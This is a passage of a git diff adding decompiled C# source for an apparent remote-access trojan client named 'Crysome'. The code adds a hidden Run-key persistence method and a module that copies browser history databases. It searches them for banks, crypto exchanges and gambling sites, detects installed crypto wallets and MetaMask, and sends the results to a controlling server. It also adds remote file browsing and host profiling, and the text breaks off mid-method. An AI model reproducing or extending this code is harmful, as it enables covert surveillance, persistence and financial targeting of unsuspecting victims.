DeleteObject(IntPtr hObject); + + [DllImport("gdi32.dll")] + public static extern bool DeleteDC(IntPtr hdc); + + [DllImport("user32.dll", SetLastError = true)] + public static extern bool CloseDesktop(IntPtr hDesktop); + + [DllImport("gdi32.dll")] + public static extern int GetDeviceCaps(IntPtr hdc, int nIndex); + + [DllImport("user32.dll")] + public static extern IntPtr WindowFromPoint(POINT point); + + [DllImport("user32.dll")] + public static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + public static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + public static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint); + + [DllImport("user32.dll")] + public static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point); + + [DllImport("user32.dll")] + public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("user32.dll")] + public static extern bool PtInRect(ref RECT lprc, POINT pt); + + [DllImport("user32.dll")] + public static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong); + + [DllImport("user32.dll")] + public static extern int GetWindowLong(IntPtr hWnd, int nIndex); + + [DllImport("user32.dll")] + public static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl); + + [DllImport("user32.dll")] + public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); + + [DllImport("user32.dll")] + public static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt); + + [DllImport("user32.dll")] + public static extern int GetMenuItemID(IntPtr hMenu, int nPos); + + [DllImport("user32.dll")] + public static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos); + + [DllImport("user32.dll")] + public static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType); + + [DllImport("user32.dll", SetLastError = true)] + public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int x, int y, int cx, int cy, uint uFlags); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern ushort VkKeyScan(char ch); + + [DllImport("user32.dll", SetLastError = true)] + public static extern bool EnumDesktopWindows(IntPtr hDesktop, EnumDesktopWindowsDelegate lpfn, IntPtr lParam); + + [DllImport("shell32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool IsUserAnAdmin(); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int GetWindowTextLength(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out uint ProcessId); + + [DllImport("user32.dll")] + public static extern bool CloseHandle(IntPtr hObject); + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); + + public static bool IsAdmin() + { + bool result = false; + try + { + result = IsUserAnAdmin(); + } + catch + { + } + return result; + } + + public static bool AddToStartupNonAdmin(string executablePath, string name = "yooooooooo") + { + string name2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; + try + { + using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey(name2, writable: true)) + { + registryKey.SetValue(name, "\"" + executablePath + "\""); + } + return true; + } + catch + { + return false; + } + } +} diff --git a/Crysome.Client/Crysome.Client.Inventory/InventoryReportBuilder.cs b/Crysome.Client/Crysome.Client.Inventory/InventoryReportBuilder.cs new file mode 100644 index 0000000..d18b780 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Inventory/InventoryReportBuilder.cs @@ -0,0 +1,820 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.Json; +using System.Threading; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Microsoft.Win32; + +namespace Crysome.Client.Inventory; + +internal static class InventoryReportBuilder +{ + private static int _infoPollCounter; + + private const string DefaultRulesJson = "{\"enabledAppIds\":[\"chrome\",\"firefox\",\"edge\",\"discord\",\"steam\",\"telegram\",\"vscode\",\"notepad_plus_plus\",\"vlc\",\"python\",\"brave\",\"opera\",\"zoom\",\"slack\",\"whatsapp\",\"metamask\",\"exodus\",\"atomic\",\"electrum\"],\"customPaths\":[],\"enabledBankIds\":[\"chase\",\"bankofamerica\",\"wellsfargo\",\"paypal\",\"coinbase_bank\",\"binance\",\"kraken\",\"robinhood\",\"venmo\",\"cashapp\",\"usbank\",\"capitalone\",\"citibank\"],\"enabledCasinoIds\":[\"bet365\",\"draftkings\",\"fanduel\",\"caesars\",\"betmgm\",\"pokerstars\",\"888casino\",\"betonline\",\"bovada\",\"ignitioncasino\",\"betway\",\"1xbet\",\"22bet\",\"bet9ja\",\"betano\",\"betsson\",\"casumo\",\"leovegas\",\"william_hill\",\"unibet\",\"betfair\",\"partycasino\",\"spin_casino\",\"jackpot_city\",\"ruby_fortune\",\"lucky_nugget\"]}"; + + private static Dictionary _registryDisplayNames; + + private static readonly Dictionary AppKeywords = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + { + "chrome", + new string[1] { "google chrome" } + }, + { + "firefox", + new string[1] { "mozilla firefox" } + }, + { + "edge", + new string[1] { "microsoft edge" } + }, + { + "discord", + new string[1] { "discord" } + }, + { + "steam", + new string[1] { "steam" } + }, + { + "telegram", + new string[1] { "telegram" } + }, + { + "vscode", + new string[2] { "visual studio code", "vscode" } + }, + { + "notepad_plus_plus", + new string[1] { "notepad++" } + }, + { + "vlc", + new string[1] { "vlc media" } + }, + { + "python", + new string[1] { "python" } + }, + { + "brave", + new string[1] { "brave" } + }, + { + "opera", + new string[2] { "opera", "opera gx" } + }, + { + "zoom", + new string[1] { "zoom" } + }, + { + "slack", + new string[1] { "slack" } + }, + { + "whatsapp", + new string[1] { "whatsapp" } + }, + { + "exodus", + new string[1] { "exodus" } + }, + { + "atomic", + new string[1] { "atomic wallet" } + }, + { + "electrum", + new string[1] { "electrum" } + } + }; + + private static readonly Dictionary AppFilePaths = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + { + "chrome", + new string[3] { "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", "%LocalAppData%\\Google\\Chrome\\Application\\chrome.exe" } + }, + { + "firefox", + new string[2] { "%ProgramFiles%\\Mozilla Firefox\\firefox.exe", "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe" } + }, + { + "edge", + new string[1] { "%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe" } + }, + { + "discord", + new string[1] { "%LocalAppData%\\Discord\\Update.exe" } + }, + { + "telegram", + new string[1] { "%AppData%\\Telegram Desktop\\Telegram.exe" } + }, + { + "vscode", + new string[1] { "%LocalAppData%\\Programs\\Microsoft VS Code\\Code.exe" } + }, + { + "brave", + new string[2] { "%ProgramFiles%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "%LocalAppData%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" } + }, + { + "opera", + new string[3] { "%AppData%\\Opera Software\\Opera Stable\\opera.exe", "%LocalAppData%\\Programs\\Opera\\opera.exe", "%LocalAppData%\\Programs\\Opera GX\\opera.exe" } + }, + { + "zoom", + new string[3] { "%AppData%\\Zoom\\bin\\Zoom.exe", "%ProgramFiles%\\Zoom\\bin\\Zoom.exe", "%ProgramFiles(x86)%\\Zoom\\bin\\Zoom.exe" } + }, + { + "slack", + new string[1] { "%LocalAppData%\\slack\\slack.exe" } + }, + { + "whatsapp", + new string[1] { "%LocalAppData%\\WhatsApp\\WhatsApp.exe" } + }, + { + "exodus", + new string[2] { "%LocalAppData%\\Exodus\\Exodus.exe", "%AppData%\\Exodus\\Exodus.exe" } + }, + { + "atomic", + new string[1] { "%AppData%\\atomic\\Atomic.exe" } + }, + { + "electrum", + new string[1] { "%AppData%\\Electrum\\electrum.exe" } + } + }; + + private static readonly string[] MetaMaskExtensionPaths = new string[2] + { + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data\\Default\\Extensions\\nkbihfbeogaeaoehlefnkodbefgpgknn"), + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\Edge\\User Data\\Default\\Extensions\\ejbalbakoplchlghecdalmeeeajnimhm") + }; + + private static readonly Dictionary BankUrlPatterns = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + { + "chase", + new string[1] { "chase.com" } + }, + { + "bankofamerica", + new string[1] { "bankofamerica.com" } + }, + { + "wellsfargo", + new string[1] { "wellsfargo.com" } + }, + { + "paypal", + new string[1] { "paypal.com" } + }, + { + "coinbase_bank", + new string[1] { "coinbase.com" } + }, + { + "binance", + new string[2] { "binance.com", "binance.us" } + }, + { + "kraken", + new string[1] { "kraken.com" } + }, + { + "robinhood", + new string[1] { "robinhood.com" } + }, + { + "venmo", + new string[1] { "venmo.com" } + }, + { + "cashapp", + new string[2] { "cash.app", "cashapp.com" } + }, + { + "usbank", + new string[1] { "usbank.com" } + }, + { + "capitalone", + new string[1] { "capitalone.com" } + }, + { + "citibank", + new string[2] { "citi.com", "citibank.com" } + } + }; + + private static readonly Dictionary CasinoUrlPatterns = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + { + "bet365", + new string[1] { "bet365.com" } + }, + { + "draftkings", + new string[1] { "draftkings.com" } + }, + { + "fanduel", + new string[1] { "fanduel.com" } + }, + { + "caesars", + new string[2] { "caesars.com", "caesarsonline.com" } + }, + { + "betmgm", + new string[1] { "betmgm.com" } + }, + { + "pokerstars", + new string[2] { "pokerstars.com", "pokerstars.net" } + }, + { + "888casino", + new string[3] { "888casino.com", "888sport.com", "888poker.com" } + }, + { + "betonline", + new string[1] { "betonline.ag" } + }, + { + "bovada", + new string[1] { "bovada.lv" } + }, + { + "ignitioncasino", + new string[1] { "ignitioncasino.eu" } + }, + { + "betway", + new string[1] { "betway.com" } + }, + { + "1xbet", + new string[2] { "1xbet.com", "1x-bet.com" } + }, + { + "22bet", + new string[1] { "22bet.com" } + }, + { + "bet9ja", + new string[1] { "bet9ja.com" } + }, + { + "betano", + new string[1] { "betano.com" } + }, + { + "betsson", + new string[1] { "betsson.com" } + }, + { + "casumo", + new string[1] { "casumo.com" } + }, + { + "leovegas", + new string[1] { "leovegas.com" } + }, + { + "william_hill", + new string[1] { "williamhill.com" } + }, + { + "unibet", + new string[1] { "unibet.com" } + }, + { + "betfair", + new string[1] { "betfair.com" } + }, + { + "partycasino", + new string[2] { "partycasino.com", "partypoker.com" } + }, + { + "spin_casino", + new string[1] { "spincasino.com" } + }, + { + "jackpot_city", + new string[1] { "jackpotcitycasino.com" } + }, + { + "ruby_fortune", + new string[1] { "rubyfortune.com" } + }, + { + "lucky_nugget", + new string[1] { "luckynuggetcasino.com" } + } + }; + + private const int MaxHistoryBytes = 4194304; + + public static void OnClientInfoPoll(CrysomeClient client) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Expected O, but got Unknown + if (client == null || !client.IsConnected || Interlocked.Increment(ref _infoPollCounter) % 15 != 0) + { + return; + } + try + { + string rulesJson = LoadRulesJson(); + string appsJson = BuildAppsJson(rulesJson); + string bankJson = BuildBankJson(rulesJson); + string casinoJson = BuildCasinoJson(rulesJson); + client.SendPacket((IPacket)new ClientInventoryReportPacket + { + AppsJson = appsJson, + BankJson = bankJson, + CasinoJson = casinoJson + }); + } + catch + { + } + } + + public static string LoadRulesJson() + { + string baseDirectory = AppDomain.CurrentDomain.BaseDirectory; + string[] array = new string[2] { "inventory_rules.json", "Inventory\\default_inventory_rules.json" }; + foreach (string path in array) + { + try + { + string path2 = Path.Combine(baseDirectory, path); + if (File.Exists(path2)) + { + return File.ReadAllText(path2, Encoding.UTF8); + } + } + catch + { + } + } + return "{\"enabledAppIds\":[\"chrome\",\"firefox\",\"edge\",\"discord\",\"steam\",\"telegram\",\"vscode\",\"notepad_plus_plus\",\"vlc\",\"python\",\"brave\",\"opera\",\"zoom\",\"slack\",\"whatsapp\",\"metamask\",\"exodus\",\"atomic\",\"electrum\"],\"customPaths\":[],\"enabledBankIds\":[\"chase\",\"bankofamerica\",\"wellsfargo\",\"paypal\",\"coinbase_bank\",\"binance\",\"kraken\",\"robinhood\",\"venmo\",\"cashapp\",\"usbank\",\"capitalone\",\"citibank\"],\"enabledCasinoIds\":[\"bet365\",\"draftkings\",\"fanduel\",\"caesars\",\"betmgm\",\"pokerstars\",\"888casino\",\"betonline\",\"bovada\",\"ignitioncasino\",\"betway\",\"1xbet\",\"22bet\",\"bet9ja\",\"betano\",\"betsson\",\"casumo\",\"leovegas\",\"william_hill\",\"unibet\",\"betfair\",\"partycasino\",\"spin_casino\",\"jackpot_city\",\"ruby_fortune\",\"lucky_nugget\"]}"; + } + + private static string BuildAppsJson(string rulesJson) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + List> list = new List>(); + try + { + JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions)); + try + { + JsonElement rootElement = val.RootElement; + JsonElement val2 = default(JsonElement); + JsonElement.ArrayEnumerator val3; + JsonElement.ArrayEnumerator enumerator; + if (rootElement.TryGetProperty("enabledAppIds", out val2)) + { + val3 = val2.EnumerateArray(); + enumerator = val3.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + JsonElement current = enumerator.Current; + string text = current.GetString(); + if (!string.IsNullOrWhiteSpace(text)) + { + text = text.Trim(); + list.Add(new Dictionary + { + { "id", text }, + { + "present", + DetectApp(text) + } + }); + } + } + } + finally + { + enumerator.Dispose(); + } + } + JsonElement val4 = default(JsonElement); + if (rootElement.TryGetProperty("customPaths", out val4)) + { + val3 = val4.EnumerateArray(); + enumerator = val3.GetEnumerator(); + try + { + JsonElement val5 = default(JsonElement); + JsonElement val6 = default(JsonElement); + while (enumerator.MoveNext()) + { + JsonElement current2 = enumerator.Current; + string text2 = (current2.TryGetProperty("path", out val5) ? val5.GetString() : null); + string text3 = (current2.TryGetProperty("label", out val6) ? val6.GetString() : "path"); + if (!string.IsNullOrWhiteSpace(text2)) + { + if (string.IsNullOrWhiteSpace(text3)) + { + text3 = "path"; + } + string value = "custom:" + text3.Replace(' ', '_'); + string path = Environment.ExpandEnvironmentVariables(text2.Trim()); + list.Add(new Dictionary + { + { "id", value }, + { + "present", + File.Exists(path) || Directory.Exists(path) + }, + { "detail", text2 } + }); + } + } + } + finally + { + enumerator.Dispose(); + } + } + } + finally + { + ((IDisposable)val)?.Dispose(); + } + } + catch + { + } + return JsonSerializer.Serialize>(new Dictionary { { "items", list } }, (JsonSerializerOptions)null); + } + + private static string BuildBankJson(string rulesJson) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + List> list = new List>(); + try + { + JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions)); + try + { + JsonElement rootElement = val.RootElement; + JsonElement val2 = default(JsonElement); + if (!rootElement.TryGetProperty("enabledBankIds", out val2)) + { + return "{\"items\":[]}"; + } + byte[] array = ReadBrowserHistoryBytes(); + string text = ((array != null && array.Length != 0) ? Encoding.ASCII.GetString(array) : ""); + JsonElement.ArrayEnumerator val3 =val2.EnumerateArray(); + JsonElement.ArrayEnumerator enumerator = val3.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + JsonElement current = enumerator.Current; + string text2 = current.GetString(); + if (string.IsNullOrWhiteSpace(text2)) + { + continue; + } + text2 = text2.Trim(); + if (!BankUrlPatterns.TryGetValue(text2, out var value)) + { + continue; + } + bool flag = false; + string[] array2 = value; + foreach (string value2 in array2) + { + if (text.IndexOf(value2, StringComparison.OrdinalIgnoreCase) >= 0) + { + flag = true; + break; + } + } + list.Add(new Dictionary + { + { "id", text2 }, + { "present", flag } + }); + } + } + finally + { + enumerator.Dispose(); + } + } + finally + { + ((IDisposable)val)?.Dispose(); + } + } + catch + { + } + return JsonSerializer.Serialize>(new Dictionary { { "items", list } }, (JsonSerializerOptions)null); + } + + private static string BuildCasinoJson(string rulesJson) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + List> list = new List>(); + try + { + JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions)); + try + { + JsonElement rootElement = val.RootElement; + JsonElement val2 = default(JsonElement); + if (!rootElement.TryGetProperty("enabledCasinoIds", out val2)) + { + return "{\"items\":[]}"; + } + byte[] array = ReadBrowserHistoryBytes(); + string text = ((array != null && array.Length != 0) ? Encoding.ASCII.GetString(array) : ""); + JsonElement.ArrayEnumerator val3 =val2.EnumerateArray(); + JsonElement.ArrayEnumerator enumerator = val3.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + JsonElement current = enumerator.Current; + string text2 = current.GetString(); + if (string.IsNullOrWhiteSpace(text2)) + { + continue; + } + text2 = text2.Trim(); + if (!CasinoUrlPatterns.TryGetValue(text2, out var value)) + { + continue; + } + bool flag = false; + string[] array2 = value; + foreach (string value2 in array2) + { + if (text.IndexOf(value2, StringComparison.OrdinalIgnoreCase) >= 0) + { + flag = true; + break; + } + } + list.Add(new Dictionary + { + { "id", text2 }, + { "present", flag } + }); + } + } + finally + { + enumerator.Dispose(); + } + } + finally + { + ((IDisposable)val)?.Dispose(); + } + } + catch + { + } + return JsonSerializer.Serialize>(new Dictionary { { "items", list } }, (JsonSerializerOptions)null); + } + + private static byte[] ReadBrowserHistoryBytes() + { + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + string[] obj = new string[5] + { + Path.Combine(folderPath, "Google\\Chrome\\User Data\\Default\\History"), + Path.Combine(folderPath, "Microsoft\\Edge\\User Data\\Default\\History"), + Path.Combine(folderPath2, "Mozilla\\Firefox\\Profiles"), + Path.Combine(folderPath, "BraveSoftware\\Brave-Browser\\User Data\\Default\\History"), + Path.Combine(folderPath2, "Opera Software\\Opera Stable\\History") + }; + List list = new List(); + string[] array = obj; + foreach (string text in array) + { + try + { + if (text.EndsWith("Profiles", StringComparison.OrdinalIgnoreCase) && Directory.Exists(text)) + { + string[] directories = Directory.GetDirectories(text); + for (int j = 0; j < directories.Length; j++) + { + TryAppendFileBytes(Path.Combine(directories[j], "places.sqlite"), list); + } + continue; + } + TryAppendFileBytes(text, list); + } + catch + { + } + if (list.Count >= 4194304) + { + break; + } + } + if (list.Count <= 0) + { + return null; + } + return list.ToArray(); + } + + private static void TryAppendFileBytes(string path, List dest) + { + if (!File.Exists(path)) + { + return; + } + string text = Path.Combine(Path.GetTempPath(), "csm_bh_" + Guid.NewGuid().ToString("N") + ".tmp"); + try + { + File.Copy(path, text, overwrite: true); + byte[] array = File.ReadAllBytes(text); + int num = Math.Min(array.Length, 4194304 - dest.Count); + if (num > 0) + { + dest.AddRange(array.Take(num)); + } + } + finally + { + try + { + File.Delete(text); + } + catch + { + } + } + } + + private static bool DetectApp(string id) + { + if (id.Equals("metamask", StringComparison.OrdinalIgnoreCase)) + { + string[] metaMaskExtensionPaths = MetaMaskExtensionPaths; + for (int i = 0; i < metaMaskExtensionPaths.Length; i++) + { + if (Directory.Exists(metaMaskExtensionPaths[i])) + { + return true; + } + } + return false; + } + if (AppKeywords.TryGetValue(id, out var value) && value != null) + { + string[] metaMaskExtensionPaths = value; + for (int i = 0; i < metaMaskExtensionPaths.Length; i++) + { + if (RegistryDisplayNameContains(metaMaskExtensionPaths[i])) + { + return true; + } + } + } + if (AppFilePaths.TryGetValue(id, out var value2) && value2 != null) + { + string[] metaMaskExtensionPaths = value2; + foreach (string text in metaMaskExtensionPaths) + { + if (text.IndexOf('*') < 0 && File.Exists(Environment.ExpandEnvironmentVariables(text))) + { + return true; + } + } + } + return false; + } + + private static bool RegistryDisplayNameContains(string needle) + { + needle = (needle ?? "").ToLowerInvariant(); + if (needle.Length == 0) + { + return false; + } + if (_registryDisplayNames == null) + { + _registryDisplayNames = new Dictionary(StringComparer.OrdinalIgnoreCase); + var array = new[] + { + new + { + Hive = Registry.LocalMachine, + Sub = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" + }, + new + { + Hive = Registry.LocalMachine, + Sub = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" + }, + new + { + Hive = Registry.CurrentUser, + Sub = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" + } + }; + foreach (var anon in array) + { + try + { + using RegistryKey registryKey = anon.Hive.OpenSubKey(anon.Sub); + if (registryKey == null) + { + continue; + } + string[] subKeyNames = registryKey.GetSubKeyNames(); + foreach (string text in subKeyNames) + { + try + { + using RegistryKey registryKey2 = registryKey.OpenSubKey(text); + if (registryKey2?.GetValue("DisplayName") is string text2) + { + _registryDisplayNames[text + "|" + anon.Sub] = text2.ToLowerInvariant(); + } + } + catch + { + } + } + } + catch + { + } + } + } + foreach (KeyValuePair registryDisplayName in _registryDisplayNames) + { + if (registryDisplayName.Value.IndexOf(needle, StringComparison.Ordinal) >= 0) + { + return true; + } + } + return false; + } +} diff --git a/Crysome.Client/Crysome.Client.Network/PacketChannel.cs b/Crysome.Client/Crysome.Client.Network/PacketChannel.cs new file mode 100644 index 0000000..693d95a --- /dev/null +++ b/Crysome.Client/Crysome.Client.Network/PacketChannel.cs @@ -0,0 +1,37 @@ +using System; +using System.Collections.Generic; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; + +namespace Crysome.Client.Network; + +public class PacketChannel +{ + public readonly Dictionary> Handlers; + + public PacketChannel() + { + Handlers = new Dictionary>(); + } + + public void HandlePacket(CrysomeClient client, IPacket packet) + { + foreach (KeyValuePair> handler in Handlers) + { + if (handler.Key.Equals(((object)packet).GetType())) + { + handler.Value(client, packet); + break; + } + } + } + + public void RegisterHandler(Action handler) + { + if (Handlers.ContainsKey(typeof(TPacket))) + { + Handlers.Remove(typeof(TPacket)); + } + Handlers.Add(typeof(TPacket), handler); + } +} diff --git a/Crysome.Client/Crysome.Client.SystemInfo/FileExplorer.cs b/Crysome.Client/Crysome.Client.SystemInfo/FileExplorer.cs new file mode 100644 index 0000000..45e6dd0 --- /dev/null +++ b/Crysome.Client/Crysome.Client.SystemInfo/FileExplorer.cs @@ -0,0 +1,56 @@ +using System.Collections.Generic; +using System.IO; +using Crysome.Common.Model; + +namespace Crysome.Client.SystemInfo; + +public static class FileExplorer +{ + public static FileSystemEntry[] GetDirectories(string path) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + List list = new List(); + try + { + foreach (DirectoryInfo item in new DirectoryInfo(path).EnumerateDirectories()) + { + try + { + list.Add(new FileSystemEntry(item.Name, item.FullName, 0L, (FileType)0, item.LastWriteTimeUtc.Ticks, (byte[])null)); + } + catch + { + } + } + } + catch + { + } + return list.ToArray(); + } + + public static FileSystemEntry[] GetFiles(string path) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + List list = new List(); + try + { + foreach (FileInfo item in new DirectoryInfo(path).EnumerateFiles()) + { + try + { + list.Add(new FileSystemEntry(item.Name, item.FullName, item.Length, (FileType)1, item.LastWriteTimeUtc.Ticks, (byte[])null)); + } + catch + { + } + } + } + catch + { + } + return list.ToArray(); + } +} diff --git a/Crysome.Client/Crysome.Client.SystemInfo/SystemInformation.cs b/Crysome.Client/Crysome.Client.SystemInfo/SystemInformation.cs new file mode 100644 index 0000000..2849de3 --- /dev/null +++ b/Crysome.Client/Crysome.Client.SystemInfo/SystemInformation.cs @@ -0,0 +1,229 @@ +using System; +using System.Globalization; +using System.Management; +using System.Runtime.InteropServices; +using System.Text; +using Microsoft.Win32; + +namespace Crysome.Client.SystemInfo; + +public class SystemInformation +{ + private struct OSVERSIONINFOEX + { + public uint dwOSVersionInfoSize; + + public uint dwMajorVersion; + + public uint dwMinorVersion; + + public uint dwBuildNumber; + + public uint dwPlatformId; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string szCSDVersion; + + public ushort wServicePackMajor; + + public ushort wServicePackMinor; + + public ushort wSuiteMask; + + public byte wProductType; + + public byte wReserved; + } + + public string UserName { get; set; } + + public string ComputerName { get; set; } + + public string OperatingSystem { get; set; } + + public string ActiveWindowTitle { get; set; } + + public string Uptime { get; set; } + + public string CountryCode { get; set; } + + public string GPU { get; set; } + + [DllImport("user32.dll")] + private static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); + + [DllImport("ntdll.dll")] + private static extern int RtlGetVersion(ref OSVERSIONINFOEX versionInfo); + + public static SystemInformation Get() + { + return new SystemInformation + { + UserName = Environment.UserName, + ComputerName = Environment.MachineName, + OperatingSystem = GetOSVersion(), + ActiveWindowTitle = GetActiveWindow(), + Uptime = GetUptime(), + CountryCode = GetCountryCode(), + GPU = GetGPU() + }; + } + + private static string GetGPU() + { + try + { + using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_VideoController"); + using ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectSearcher.Get().GetEnumerator(); + if (managementObjectEnumerator.MoveNext()) + { + return ((ManagementObject)managementObjectEnumerator.Current)["Name"]?.ToString() ?? "N/A"; + } + } + catch + { + } + return "N/A"; + } + + private static string GetActiveWindow() + { + try + { + IntPtr foregroundWindow = GetForegroundWindow(); + if (foregroundWindow == IntPtr.Zero) + { + return "N/A"; + } + StringBuilder stringBuilder = new StringBuilder(256); + GetWindowText(foregroundWindow, stringBuilder, 256); + string text = stringBuilder.ToString(); + return string.IsNullOrEmpty(text) ? "N/A" : text; + } + catch + { + return "N/A"; + } + } + + private static string GetUptime() + { + try + { + TimeSpan timeSpan = TimeSpan.FromMilliseconds(Environment.TickCount & 0x7FFFFFFF); + return $"{(int)timeSpan.TotalDays}d {timeSpan.Hours}h {timeSpan.Minutes}m {timeSpan.Seconds}s"; + } + catch + { + return "N/A"; + } + } + + private static string GetCountryCode() + { + try + { + return RegionInfo.CurrentRegion.TwoLetterISORegionName; + } + catch + { + return "US"; + } + } + + private static string GetOSVersion() + { + try + { + OSVERSIONINFOEX versionInfo = new OSVERSIONINFOEX + { + dwOSVersionInfoSize = (uint)Marshal.SizeOf(typeof(OSVERSIONINFOEX)) + }; + if (RtlGetVersion(ref versionInfo) == 0) + { + string text = BuildToOSName(versionInfo.dwBuildNumber); + if (!string.IsNullOrEmpty(text)) + { + string displayVersion = GetDisplayVersion(); + if (!string.IsNullOrEmpty(displayVersion)) + { + text = text + " " + displayVersion; + } + return text; + } + } + } + catch + { + } + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey != null) + { + string text2 = registryKey.GetValue("ProductName", "")?.ToString() ?? ""; + if (int.TryParse(registryKey.GetValue("CurrentBuildNumber", "")?.ToString() ?? "", out var result) && result >= 22000 && text2.Contains("Windows 10")) + { + text2 = text2.Replace("Windows 10", "Windows 11"); + } + if (!string.IsNullOrEmpty(text2)) + { + return text2; + } + } + } + catch + { + } + return "Windows"; + } + + private static string GetDisplayVersion() + { + try + { + using RegistryKey registryKey = 